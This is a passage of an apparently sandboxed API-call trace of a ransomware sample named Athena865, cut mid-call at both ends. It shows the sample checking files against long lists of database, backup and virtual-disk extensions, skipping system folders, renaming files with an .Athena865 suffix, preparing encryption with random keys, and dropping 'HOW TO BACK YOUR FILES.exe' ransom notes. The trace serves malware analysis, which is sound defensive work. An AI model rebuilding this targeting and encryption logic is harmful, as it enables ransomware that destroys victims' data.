(lpString="rod") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0111.223] lstrlenW (lpString="rodx") returned 4 [0111.223] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0111.223] lstrlenW (lpString="rpd") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0111.223] lstrlenW (lpString="rsd") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0111.223] lstrlenW (lpString="sas7bdat") returned 8 [0111.223] lstrcmpiW (lpString1="bTip.exe", lpString2="sas7bdat") returned -1 [0111.223] lstrlenW (lpString="sbf") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0111.223] lstrlenW (lpString="scx") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0111.223] lstrlenW (lpString="sdb") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0111.223] lstrlenW (lpString="sdc") returned 3 [0111.223] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0111.224] lstrlenW (lpString="sdf") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0111.224] lstrlenW (lpString="sis") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0111.224] lstrlenW (lpString="spq") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0111.224] lstrlenW (lpString="te") returned 2 [0111.224] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0111.224] lstrlenW (lpString="teacher") returned 7 [0111.224] lstrcmpiW (lpString1="Tip.exe", lpString2="teacher") returned 1 [0111.224] lstrlenW (lpString="tmd") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0111.224] lstrlenW (lpString="tps") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0111.224] lstrlenW (lpString="trc") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0111.224] lstrlenW (lpString="trc") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0111.224] lstrlenW (lpString="trm") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0111.224] lstrlenW (lpString="udb") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0111.224] lstrlenW (lpString="udl") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0111.224] lstrlenW (lpString="usr") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0111.224] lstrlenW (lpString="v12") returned 3 [0111.224] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0111.224] lstrlenW (lpString="vis") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0111.225] lstrlenW (lpString="vpd") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0111.225] lstrlenW (lpString="vvv") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0111.225] lstrlenW (lpString="wdb") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0111.225] lstrlenW (lpString="wmdb") returned 4 [0111.225] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0111.225] lstrlenW (lpString="wrk") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0111.225] lstrlenW (lpString="xdb") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0111.225] lstrlenW (lpString="xld") returned 3 [0111.225] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0111.225] lstrlenW (lpString="xmlff") returned 5 [0111.225] lstrcmpiW (lpString1="p.exe", lpString2="xmlff") returned -1 [0111.225] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.Athena865") returned 71 [0111.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.athena865"), dwFlags=0x1) returned 1 [0111.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0111.232] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=224256) returned 1 [0111.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0111.233] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0111.233] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.233] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.234] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x36f00, lpName=0x0) returned 0x17c [0111.235] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36f00) returned 0x170000 [0111.289] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0111.290] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.290] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0111.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.290] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.291] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0111.293] CloseHandle (hObject=0x17c) returned 1 [0111.293] CloseHandle (hObject=0x154) returned 1 [0111.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0111.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.294] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2=".") returned 1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2="..") returned 1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2="windows") returned -1 [0111.294] lstrcmpiW (lpString1="th-TH", lpString2="bootmgr") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="temp") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="pagefile.sys") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="boot") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="ids.txt") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="ntuser.dat") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="perflogs") returned 1 [0111.295] lstrcmpiW (lpString1="th-TH", lpString2="MSBuild") returned 1 [0111.295] lstrlenW (lpString="th-TH") returned 5 [0111.295] lstrcpyW (in: lpString1=0x241e8ae, lpString2="th-TH" | out: lpString1="th-TH") returned="th-TH" [0111.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547888 [0111.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53c220 [0111.295] lstrcatW (in: lpString1="th-TH", lpString2="\\" | out: lpString1="th-TH\\") returned="th-TH\\" [0111.295] lstrcatW (in: lpString1="th-TH\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="th-TH\\HOW TO BACK YOUR FILES.exe") returned="th-TH\\HOW TO BACK YOUR FILES.exe" [0111.295] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.298] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2=".") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="..") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="windows") returned -1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="bootmgr") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="temp") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="pagefile.sys") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="boot") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="ids.txt") returned 1 [0111.298] lstrcmpiW (lpString1="TipBand.dll", lpString2="ntuser.dat") returned 1 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2="perflogs") returned 1 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2="MSBuild") returned 1 [0111.299] lstrlenW (lpString="TipBand.dll") returned 11 [0111.299] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TipBand.dll" | out: lpString1="TipBand.dll") returned="TipBand.dll" [0111.299] lstrlenW (lpString="TipBand.dll") returned 11 [0111.299] lstrlenW (lpString="Athena865") returned 9 [0111.299] lstrcmpiW (lpString1="pBand.dll", lpString2="Athena865") returned 1 [0111.299] lstrlenW (lpString=".dll") returned 4 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2=".dll") returned 1 [0111.299] lstrlenW (lpString=".lnk") returned 4 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2=".lnk") returned 1 [0111.299] lstrlenW (lpString=".ini") returned 4 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2=".ini") returned 1 [0111.299] lstrlenW (lpString=".sys") returned 4 [0111.299] lstrcmpiW (lpString1="TipBand.dll", lpString2=".sys") returned 1 [0111.299] lstrlenW (lpString="TipBand.dll") returned 11 [0111.299] lstrlenW (lpString="bak") returned 3 [0111.299] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0111.299] lstrlenW (lpString="ba_") returned 3 [0111.299] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0111.299] lstrlenW (lpString="dbb") returned 3 [0111.299] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0111.299] lstrlenW (lpString="vmdk") returned 4 [0111.299] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0111.299] lstrlenW (lpString="rar") returned 3 [0111.299] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0111.299] lstrlenW (lpString="zip") returned 3 [0111.299] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0111.300] lstrlenW (lpString="tgz") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0111.300] lstrlenW (lpString="vbox") returned 4 [0111.300] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0111.300] lstrlenW (lpString="vdi") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0111.300] lstrlenW (lpString="vhd") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0111.300] lstrlenW (lpString="vhdx") returned 4 [0111.300] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0111.300] lstrlenW (lpString="avhd") returned 4 [0111.300] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0111.300] lstrlenW (lpString="db") returned 2 [0111.300] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0111.300] lstrlenW (lpString="db2") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0111.300] lstrlenW (lpString="db3") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0111.300] lstrlenW (lpString="dbf") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0111.300] lstrlenW (lpString="mdf") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0111.300] lstrlenW (lpString="mdb") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0111.300] lstrlenW (lpString="sql") returned 3 [0111.300] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0111.300] lstrlenW (lpString="sqlite") returned 6 [0111.300] lstrcmpiW (lpString1="nd.dll", lpString2="sqlite") returned -1 [0111.301] lstrlenW (lpString="sqlite3") returned 7 [0111.301] lstrcmpiW (lpString1="and.dll", lpString2="sqlite3") returned -1 [0111.301] lstrlenW (lpString="sqlitedb") returned 8 [0111.301] lstrcmpiW (lpString1="Band.dll", lpString2="sqlitedb") returned -1 [0111.301] lstrlenW (lpString="xml") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0111.301] lstrlenW (lpString="$er") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0111.301] lstrlenW (lpString="4dd") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0111.301] lstrlenW (lpString="4dl") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0111.301] lstrlenW (lpString="^^^") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0111.301] lstrlenW (lpString="abs") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0111.301] lstrlenW (lpString="abx") returned 3 [0111.301] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0111.301] lstrlenW (lpString="accdb") returned 5 [0111.301] lstrcmpiW (lpString1="d.dll", lpString2="accdb") returned 1 [0111.301] lstrlenW (lpString="accdc") returned 5 [0111.301] lstrcmpiW (lpString1="d.dll", lpString2="accdc") returned 1 [0111.301] lstrlenW (lpString="accde") returned 5 [0111.301] lstrcmpiW (lpString1="d.dll", lpString2="accde") returned 1 [0111.301] lstrlenW (lpString="accdr") returned 5 [0111.301] lstrcmpiW (lpString1="d.dll", lpString2="accdr") returned 1 [0111.301] lstrlenW (lpString="accdt") returned 5 [0111.301] lstrcmpiW (lpString1="d.dll", lpString2="accdt") returned 1 [0111.302] lstrlenW (lpString="accdw") returned 5 [0111.302] lstrcmpiW (lpString1="d.dll", lpString2="accdw") returned 1 [0111.302] lstrlenW (lpString="accft") returned 5 [0111.302] lstrcmpiW (lpString1="d.dll", lpString2="accft") returned 1 [0111.302] lstrlenW (lpString="adb") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.302] lstrlenW (lpString="adb") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0111.302] lstrlenW (lpString="ade") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0111.302] lstrlenW (lpString="adf") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0111.302] lstrlenW (lpString="adn") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0111.302] lstrlenW (lpString="adp") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0111.302] lstrlenW (lpString="alf") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0111.302] lstrlenW (lpString="ask") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0111.302] lstrlenW (lpString="btr") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0111.302] lstrlenW (lpString="cat") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0111.302] lstrlenW (lpString="cdb") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0111.302] lstrlenW (lpString="ckp") returned 3 [0111.302] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0111.302] lstrlenW (lpString="cma") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0111.303] lstrlenW (lpString="cpd") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0111.303] lstrlenW (lpString="dacpac") returned 6 [0111.303] lstrcmpiW (lpString1="nd.dll", lpString2="dacpac") returned 1 [0111.303] lstrlenW (lpString="dad") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0111.303] lstrlenW (lpString="dadiagrams") returned 10 [0111.303] lstrcmpiW (lpString1="ipBand.dll", lpString2="dadiagrams") returned 1 [0111.303] lstrlenW (lpString="daschema") returned 8 [0111.303] lstrcmpiW (lpString1="Band.dll", lpString2="daschema") returned -1 [0111.303] lstrlenW (lpString="db-journal") returned 10 [0111.303] lstrcmpiW (lpString1="ipBand.dll", lpString2="db-journal") returned 1 [0111.303] lstrlenW (lpString="db-shm") returned 6 [0111.303] lstrcmpiW (lpString1="nd.dll", lpString2="db-shm") returned 1 [0111.303] lstrlenW (lpString="db-wal") returned 6 [0111.303] lstrcmpiW (lpString1="nd.dll", lpString2="db-wal") returned 1 [0111.303] lstrlenW (lpString="dbc") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0111.303] lstrlenW (lpString="dbs") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0111.303] lstrlenW (lpString="dbt") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0111.303] lstrlenW (lpString="dbv") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0111.303] lstrlenW (lpString="dbx") returned 3 [0111.303] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0111.303] lstrlenW (lpString="dcb") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0111.304] lstrlenW (lpString="dct") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0111.304] lstrlenW (lpString="dcx") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0111.304] lstrlenW (lpString="ddl") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0111.304] lstrlenW (lpString="dlis") returned 4 [0111.304] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0111.304] lstrlenW (lpString="dp1") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0111.304] lstrlenW (lpString="dqy") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0111.304] lstrlenW (lpString="dsk") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0111.304] lstrlenW (lpString="dsn") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0111.304] lstrlenW (lpString="dtsx") returned 4 [0111.304] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0111.304] lstrlenW (lpString="dxl") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0111.304] lstrlenW (lpString="eco") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0111.304] lstrlenW (lpString="ecx") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0111.304] lstrlenW (lpString="edb") returned 3 [0111.304] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0111.304] lstrlenW (lpString="epim") returned 4 [0111.304] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0111.305] lstrlenW (lpString="fcd") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0111.305] lstrlenW (lpString="fdb") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0111.305] lstrlenW (lpString="fic") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0111.305] lstrlenW (lpString="flexolibrary") returned 12 [0111.305] lstrlenW (lpString="fm5") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0111.305] lstrlenW (lpString="fmp") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0111.305] lstrlenW (lpString="fmp12") returned 5 [0111.305] lstrcmpiW (lpString1="d.dll", lpString2="fmp12") returned -1 [0111.305] lstrlenW (lpString="fmpsl") returned 5 [0111.305] lstrcmpiW (lpString1="d.dll", lpString2="fmpsl") returned -1 [0111.305] lstrlenW (lpString="fol") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0111.305] lstrlenW (lpString="fp3") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0111.305] lstrlenW (lpString="fp4") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0111.305] lstrlenW (lpString="fp5") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0111.305] lstrlenW (lpString="fp7") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0111.305] lstrlenW (lpString="fpt") returned 3 [0111.305] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0111.305] lstrlenW (lpString="frm") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0111.306] lstrlenW (lpString="gdb") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.306] lstrlenW (lpString="gdb") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0111.306] lstrlenW (lpString="grdb") returned 4 [0111.306] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0111.306] lstrlenW (lpString="gwi") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0111.306] lstrlenW (lpString="hdb") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0111.306] lstrlenW (lpString="his") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0111.306] lstrlenW (lpString="ib") returned 2 [0111.306] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0111.306] lstrlenW (lpString="idb") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0111.306] lstrlenW (lpString="ihx") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0111.306] lstrlenW (lpString="itdb") returned 4 [0111.306] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0111.306] lstrlenW (lpString="itw") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0111.306] lstrlenW (lpString="jet") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0111.306] lstrlenW (lpString="jtx") returned 3 [0111.306] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0111.306] lstrlenW (lpString="kdb") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0111.307] lstrlenW (lpString="kexi") returned 4 [0111.307] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0111.307] lstrlenW (lpString="kexic") returned 5 [0111.307] lstrcmpiW (lpString1="d.dll", lpString2="kexic") returned -1 [0111.307] lstrlenW (lpString="kexis") returned 5 [0111.307] lstrcmpiW (lpString1="d.dll", lpString2="kexis") returned -1 [0111.307] lstrlenW (lpString="lgc") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0111.307] lstrlenW (lpString="lwx") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0111.307] lstrlenW (lpString="maf") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0111.307] lstrlenW (lpString="maq") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0111.307] lstrlenW (lpString="mar") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0111.307] lstrlenW (lpString="marshal") returned 7 [0111.307] lstrcmpiW (lpString1="and.dll", lpString2="marshal") returned -1 [0111.307] lstrlenW (lpString="mas") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0111.307] lstrlenW (lpString="mav") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0111.307] lstrlenW (lpString="maw") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0111.307] lstrlenW (lpString="mdbhtml") returned 7 [0111.307] lstrcmpiW (lpString1="and.dll", lpString2="mdbhtml") returned -1 [0111.307] lstrlenW (lpString="mdn") returned 3 [0111.307] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0111.308] lstrlenW (lpString="mdt") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0111.308] lstrlenW (lpString="mfd") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0111.308] lstrlenW (lpString="mpd") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0111.308] lstrlenW (lpString="mrg") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0111.308] lstrlenW (lpString="mud") returned 3 [0111.308] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0111.308] lstrlenW (lpString="mwb") returned 3 [0111.308] lstrcmpiW 